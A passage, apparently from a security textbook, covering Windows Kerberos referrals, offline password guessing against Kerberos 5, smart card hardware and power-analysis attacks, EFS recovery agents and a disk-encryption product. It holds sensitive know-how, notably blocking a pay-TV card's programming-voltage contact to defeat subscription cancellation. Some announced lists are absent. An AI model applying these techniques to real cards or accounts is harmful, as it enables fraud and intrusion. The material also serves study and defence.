In Windows Server, establishing a domain implicitly creates a Kerberos realm with the same name. Using the example above, suppose the Client would like to access resources from an entirely different domain (realm), as shown in Figure 14-2. As you recall, the Client first received the TGT from the KDC in its own domain (Domain 1). However, this TGT only works in the current domain (Domain 1). If the Client wants to access a resource in a trusted domain (Domain 2), it must request a new TGT. This is known as cross-domain network access . Thus, the KDC from Domain 1 issues the Client a new TGT that provides authentication to the KDC in Domain 2.

Figure 14-2. Cross-domain Kerberos authentication

Such cross-domain authentication is known as Kerberos referrals , which is unique to Windows. Other (non-Windows) implementations of Kerberos must realize before contacting the KDC that the requested resource is not in the local realm and must therefore ask directly for the cross-realm ticket.

The steps involved are as follows:

While Kerberos is a drastic improvement in security over the archaic NTLM (NT LAN Manager), Kerberos as implemented in Windows (and other operating systems) is still potentially vulnerable. For example, Frank O’Dwyer provides the following attack (included with permission).

It is well known that the LM and NTLM authentication schemes used by NT4 (and for backward compatibility in Windows 2000) are susceptible to offline password-guessing attacks. Password-cracking tools such as l0phtcrack have ably demonstrated this vulnerability. However, the question of whether it is feasible to adapt these techniques to attack the Kerberos 5 authentication scheme used by Windows Server has not received the same level of public attention. It is also worrying that the general presumption seems to be that Kerberos 5 solves the password-cracking issue once and for all, provided Kerberos alone is used in a domain. In fact, Kerberos 5 has long been known to have vulnerabilities to offline password-guessing attacks. The problem is explicitly stated in RFC 1510:

We’ll investigate the feasibility of exploiting one of Kerberos’s vulnerabilities to design a point-and-click “l0phtcrack-style” password-cracking tool. We won’t actually build the tool, but we’ll consider what would be involved in making one and how well and how fast it might work in recovering passwords.

2 30   72:   SEQUENCE {
4 A1    3:     [1] {
6 02    1:       INTEGER 2
         :       }
9 A2   65:     [2] {
11 04  63:       OCTET STRING, encapsulates {
13 30  61:           SEQUENCE {
15 A0   3:             [0] {
17 02   1:               INTEGER 23
         :               }
20 A2  54:             [2] {
22 04  52:               OCTET STRING
         :                 F4 08 5B A4 58 B7 33 D8 09 2E 6B 34 8E 3E 39 90
         :                 03 4A CF C7 0A FB A5 42 69 0B 8B C9 12 FC D7 FE
         :                 D6 A8 48 49 3A 3F F0 D7 AF 64 1A 26 3B 71 DC C7
         :                 29 02 99 5D
         :               }
         :             }
         :           }
         :       }
         :     }

The advantages that smart cards provide include:

One advantage of smart cards is that they use personal identification numbers (PINs) instead of passwords. PINs do not have to follow the same rules as strong passwords, because the cards are less susceptible to brute force dictionary attacks. A short PIN is secure because an uncompromised smart card locks after a certain number of PIN inputs are incorrectly attempted. Furthermore, the PIN itself is never transmitted over the network, so it is protected from classic sniffing attacks.

Unlike a password, it is not necessary to change a PIN frequently. In fact, traditionally there has been no change-PIN functionality available through the standard desktop logon interface, as there is for passwords. The change-PIN capability is only exposed to the user when a private key operation is being performed, due to the lack of standards for how PINs are managed across card operating systems; thus, PIN management cannot be done at the operating system layer. (Note that the U.S. Government actually has standardized on a smart card, known as the Common Access Card, which includes a change-PIN feature.)

In 1998, an extensive and well-organized phone-card piracy scam demonstrated how vital proper encryption could be. As reported in Wired magazine, criminals from the Netherlands flooded Germany with millions of illegally recharged telephone debit cards. The cards, designed for Deutsche Telekom payphones, used a simple EEPROM (electrically erasable programmable read-only memory) chip developed by Siemens Corporation that deducted value from the card as minutes were used up. Ordinarily, once the credit balance reached zero, the cards would be thrown away or given to collectors. However, the Dutch pirates found a way to bypass the simple security and recharge the cards without leaving any physical evidence of tampering. Using hardware reverse engineering, pirates could understand the simple encryption stored on the chip. In addition, they found a bug that allowed the stored monetary value to be reset. The pirates bought up thousands of spent cards in bulk from collectors, recharged them, and resold them at a discount to tobacco shops and other retail outlets across Germany. The damage from this piracy was estimated to amount to $34 million.

Hardware attacks on smart cards have traditionally required access to sophisticated laboratory equipment. For example, one way to attack smart cards involves the use of an electron microscope. Using careful etching techniques, reverse engineers physically “peel away” layers of the microprocessor. Next, image processing can often give them a fair idea of the contents of the memory registers.

More sophisticated attacks are possible with the proper equipment. One project at Sandia National Laboratories involved “looking through” the chip. This attack, known as light-induced voltage alteration , involves probing operating ICs from the back with an infrared laser to which the silicon substrate is transparent. This nondestructive method induces photocurrents that allow the researcher to probe the device’s operation and to identify the logic states of individual transistors. Similarly, low-energy charge induced voltage alteration uses a low-energy electron beam generated by a scanning electron microscope to produce a surface interaction phenomenon that creates a negative charge-polarization wave. This allows the researcher to image the chip in order to identify open conductors and voltage levels without causing damage.

It is often easier to go directly after the EEPROM contents in a smart card. In EEPROM-based devices, erasing the charge stored in the floating gate of a memory cell requires an unusually high voltage, such as 12V instead of the standard 5V. If the attacker can circumvent the high voltage charge, the information is trapped.

With early pay-TV smart cards, a dedicated connection from the host interface supplied the programming voltage. This allowed attacks on systems in which cards were enabled for all channels by default, but those channels for which the subscriber did not pay were deactivated by broadcast signals. Thus, you could block the programming voltage contact on the smart card with tape or by clamping it inside the decoder using a diode. Taking this step prevented the broadcast signals from affecting the card. The subscriber could cancel his subscription without the vendor being able to cancel his service.

Once the contents of the EEPROM are trapped, there are many methods to access the goods. Attackers can use any of the following means:

In order to thwart these attacks, some IC chips have sensors that force a reset when voltage or other environmental conditions go out of range. However, this can cause massive performance degradation because of false positives. Imagine if your smart card went dead every time the power surged during system startup. For this reason, such defenses are difficult to implement.

Power consumption analysis involves monitoring a smart card’s power consumption in order to assist in code breaking. A smart card does not have its own power supply; rather, it draws power from the smart card reader when it is inserted. This power is required to run the IC chip—for example, in performing cryptographic calculations.

Using sensitive equipment, it is possible to track differences in smart card power consumption. This knowledge could make it possible to recover a card’s secret key. By watching for changes in power consumption, a researcher can obtain clues because the calculations used to scramble the data depend on the values of the secret key. For instance, one simple attack involves watching an oscilloscope graph the power consumption of a card. The key is processed in binary bits that are either zeros or ones. If a chip consumes slightly more power to process a one than a zero, the key could be extracted simply by reading the peaks and valleys in the graph of power consumption.

A more sophisticated statistical attack known as differential power analysis can be used to extract the key even when it is not readily decipherable from the power consumption data. This technique allows the researcher to extract each bit of the key by making guesses and testing each several times.

Microsoft’s EFS is based on public key encryption and utilizes the operating system’s CryptoAPI architecture. The EFS encrypts each file with a randomly generated key that is independent of a user’s public/private key pair. The EFS automatically generates an encryption key pair and a certificate for a user if they do not exist. Temporary files are encrypted if the original file is on an NTFS volume. The EFS is built in to the operating system kernel and uses non-paged memory to store file encryption keys so that they are never in the paging file.

In Windows XP/Server, encryption is performed using either the expanded Data Encryption Standard (DESX) or Triple-DES (3DES) algorithm. Both the RSA Base and RSA Enhanced software included by cryptographic service providers (CSPs) may be used for EFS certificates and for encryption of the symmetric encryption keys.

The EFS supports file encryption on a per-file or per-folder basis. All child files and folders in an encrypted parent folder are encrypted by default. For simplicity, users should be encouraged to set one folder as encrypted and store all encrypted data in subfolders of the encrypted parent folder. However, each file has a unique encryption key, which ensures that the file remains encrypted even if it moves to an unencrypted folder on the same volume.

The EFS originally had a special account known as the Data Recovery Agent, or DRA, that allowed administrators to recover keys. However, this account is no longer included by default. Newer versions of Windows XP do not create a DRA on newly installed machines in a workgroup or in a domain. This effectively prevents offline attacks against the administrator account. If a machine is joined to a domain, all users—including local users—inherit the recovery policy from the domain. For workgroup machines, a DRA must be created manually by a user and installed. To manually create a DRA, the cipher.exe utility must be used as follows:

CIPHER /R:filename
/R  Generates a PFX and a CER file with a self-signed EFS recovery certificate in them.
filename A filename without extensions

This command generates filename.PFX (for data recovery) and filename.CER (for use in the policy). The certificate is generated in memory and deleted when the files are generated. Once you have generated the keys, import the certificate into the local policy and store the private key in a secure location.

Steve Light discovered a weakness in which XP clients may lose access to EFS files after a password reset. Users on an XP workstation that is in a standalone (workgroup) or Windows NT 4 domain environment may lose access to EFS-encrypted files after a password reset. The default behavior of XP’s Data Protection API (DPAPI) is more restrictive when granting access to private keys. XP does not allow a user with a reset password access to that user’s private keys.

There are several workarounds available. These include:

There are two kinds of Recovery Agents (RAs): an EFS RA and, in Windows 2000 (and XP), a DPAPI RA. The EFS RA is the one with which users are familiar; it is visible and configurable. The DPAPI RA offers the ability to recover from a password change.

The DPAPI RA is invisible; it is not really any user account. Imagine that every private key is encrypted with the owner’s password and the DPAPI RA’s key. When the password changes, the user cannot open the private keys. The DPAPI RA decrypts its copy of the private key and re-encrypts it with the current (new) password. Thus, a user with a reset password gains access to the EFS-encrypted files.

In XP, the local DPAPI RA is turned off. Instead, there is a “password recovery” disk. If a user forgets a password and there is no password recovery disk, the EFS data is inaccessible. In a standalone or NT4 domain environment, local or domain password resets prevent access to EFS-encrypted files. In a Microsoft AD domain, any password reset to a domain account will not prevent access to EFS-encrypted files.

The data written to and read from the partition or disk is encrypted and decrypted on the fly as required, driven by operating system use of the storage device. The encryption algorithm used is the Advanced Encryption Standard (AES) in Cipher Block Chaining mode with 256-bit keys. The Disk Key, which is used to encrypt the data on the disk, is randomly generated and stored encrypted under the Disk Key Encryption Key (Disk KEK). The Disk KEK is derived from the username and password with the password-based key derivation function 2, as described in the Public Key Cryptography Standards #5.

EP Hard Disk also includes a corporate key-recovery mechanism, called One-Time Password, in which designated administrators are able to remotely assist users who forget their passwords. One-Time Password recovers the encryption key with which the disk is encrypted, allowing the user to set a new password and regain access to her data.

The administrator private key is stored when One-Time Password is installed during initial installation of the User Program. The recovery tool does not require the administrator to log on. The information exchanged between the user and the administrator during the recovery procedure is compact, so that the messages can be communicated verbally over a telephone.

There are two classes of administrator: local and corporate. Local administrators are assigned a domain of control (for example, a department within the company) by the EP Hard Disk administrator and are only able to fulfill the recovery and User Program logon functions within their domain of control. Corporate administrators can access the entire domain of control covered by the installation and one or more local administrators.

In addition, local and corporate administrators are able to log on to the User Program and gain physical access to the computer and user data. To authenticate themselves to EP Hard Disk, administrators have their own passwords.

EP Hard Disk contains an alternative key-recovery mechanism called Authenti-Check. In Authenti-Check, the user is able to recover a Disk Key without assistance from an administrator. The user is asked to provide a list of Authenti-Check questions and answers during setup of the User Program. The Authenti-Check key-recovery key is derived from the answers to the user-provided questions and used to encrypt the Disk Key. If users provide the correct answers to their Authenti-Check questions, the Disk Key is recovered. Users can then set new passwords and regain access to their data.

Users can change their passwords at any time if the EP Hard Disk administrator has allowed them to make the change. If corporate and local administrators wish to have their passwords changed, there is a password-update feature available to the EP Hard Disk administrator in the Administrator Program. This feature creates a signed password update that can be installed on existing installations of the User Program. The User Program then updates the recovery blocks with the new public keys corresponding to the new administrator passwords.

There are a number of configurable User Program options related to security, such as messages to display at various points in the EP Hard Disk dialogs (for example, phone numbers or methods of contacting the administrators), options relating to the number of incorrect entries allowed during password entry, and requirements mandating password expiration, minimum length, and so on.

The EP Hard Disk administrator configures these options into the User Program setup files, which are then installed on user workstations.

EP Hard Disk supports remote silent installation: for example, via network logon scripts. The EP Hard Disk administrator, using a signed configuration change package, can also make configuration changes to existing installations of the User Program. Both configuration changes and administrator password changes can be automatically updated on the existing installations of the User Program using, for instance, a network logon script.

A Single Sign-On feature is provided as a convenience to the user. The logon to the User Program is displayed before the Windows logon window. If the Single Sign-On option is selected, EP Hard Disk manages authentication to Windows so that the Windows logon dialog box is not displayed. EP Hard Disk stores the Windows logon name and password in an encrypted form and supplies them to Windows logon in order for Single Sign-On to function.